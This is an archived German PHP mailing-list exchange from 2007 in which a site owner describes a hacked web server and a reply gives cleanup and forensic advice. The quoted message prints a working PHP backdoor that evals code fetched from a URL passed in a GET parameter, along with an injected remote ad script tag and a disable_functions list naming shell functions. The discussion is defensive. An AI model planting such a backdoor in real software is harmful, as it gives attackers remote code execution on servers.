phpbar.de logo

Mailinglisten-Archive

[php] Problem mit Hacker - eval sperren

[php] Problem mit Hacker - eval sperren

Yannik Hampe yannik at cipher-code.de
Mon Jan 22 18:04:26 CET 2007



ANGEL Harald wrote:
> Hallo phpListe!
> Ich schreibe heute wegen eines ernsten Problems:
> Ich habe seit einer Woche einen Hacker auf meinem Webserver, aber mein Provider findet leider nicht heraus, wie er ins System kommt bzw kann mir den Webserver nicht sicher machen.
> Was der Hacker macht? Er fügt in meine Startseite eine Layerwerbung ein:
> <script src="http://layer-ads.de/la-33101.js" type="text/javascript"></script>
> durch die verdient er Geld - was einerseits schon mal eine Frechheit ist, andererseits bleibt dadurch der aufbau meiner Website stehen.
> 
> Die Datei hat nach dem ändern den User www-data, und wenn ich die Zeile rauslösche ist sie nach 5min wieder drin :(
> Hab jetzt schon rausgefunden, dass er meine komplette Seite mit seiner ersetz. Wie er das macht, keine Ahnung. Ausschließen kann ich, dass er root Zugriff auf den Server hat.
> 
> Hab in einem anderen Script folgendes gefunden:
> //a:9:{s:4:"lang";s:2:"en";s:9:"auth_pass";s:32:"d41d8cd98f00b204e9800998ecf8427e";s:8:"quota_mb";i:0;s:17:
> "upload_ext_filter";a:0:{}s:19:"download_ext_filter";a:0:{}s:15:"error_reporting";s:0:"";s:7:"fm_root";s:0:"";
> s:17:"cookie_cache_time";i:1171902116;s:7:"version";s:5:"0.9.3";}
> if(!empty($_GET['url']))eval(str_replace(Array('<?php', '<?', '?>')
> ,Array('','','') ,implode('', file(stripslashes($_GET['url'])))));
> }
> 
> hab leider keine ahnung, was das macht, auf jeden Fall ist es nicht von mir.

Kurz: Es ermöglicht jeder Person belibigen php-Quelltext jederzeit auf
deinem Server auszuführen. Ich frag mich zwar, warum der typ es sich so
schwer macht und nicht einfach include verwendet, aber die Wirkung
sollte die Gleiche sein.
> Habe vom Provider den Befehl "eval" sperren lassen, aber das funktioniert anscheinend nicht.
> Er hat in die php.ini folgendes eingetragen:
> disable_functions = show_source, system, shell_exec, passthru, exec, phpinfo, eval, proc_open, escapeshellcmd
> 
> nur leider funktioniert der Befehl eval noch immer.
> 
> erste Frage: Was hats da mit dem eval? Kann man den nicht sperren? Wenn doch: Wie?

Lass dir mal phpinfo() anzeigen. Prüfe nach, ob eval dort WIRKLICH
deaktiviert ist.
Es fehlen aber noch ein paar wichtige Infos:
Geht es hier um einen root-Server? Wenn ja, DANN MACH IHN PLATT. Hol'
dir alle Daten runter, und installiere das OS komplett neu. Du weisst ja
nicht, was der Typ alles sonst noch so gemacht haben könnte.

Dann geh mal die Logdateien durch. Findest du in der access.log vom
apache was auffälliges? Irgendwelche Scripte, die aufgerufen werden, von
dessen Existenz du nichts wusstest?
Dann prüfe mal die auth.log /var/log/auth.log, wenn du linux hast.
Ausserdem noch die /var/log/messages.

> zweite Frage: Habt Ihr einen Tipp wie ich den Typen los werde? Hab schon eine Mail an den Anbieter der Layer-Werbung geschrieben, aber die reagieren nicht. Kann man auf herausgabe der Daten des Users mit der id 33101 klagen? Weil dann wüsste ich wer das ist.

Also generell würde ich schon sagen, dass du Anzeige gegen Unbekannt
erstatten solltest. Bevor du meinen Tipp folgst, solltest du dich
natürlich schon nochmal schlau machen...
> 
> Danke für jede Art von Hilfe!
> lg Harald
> 

Yannik

php::bar PHP Wiki   -   Listenarchive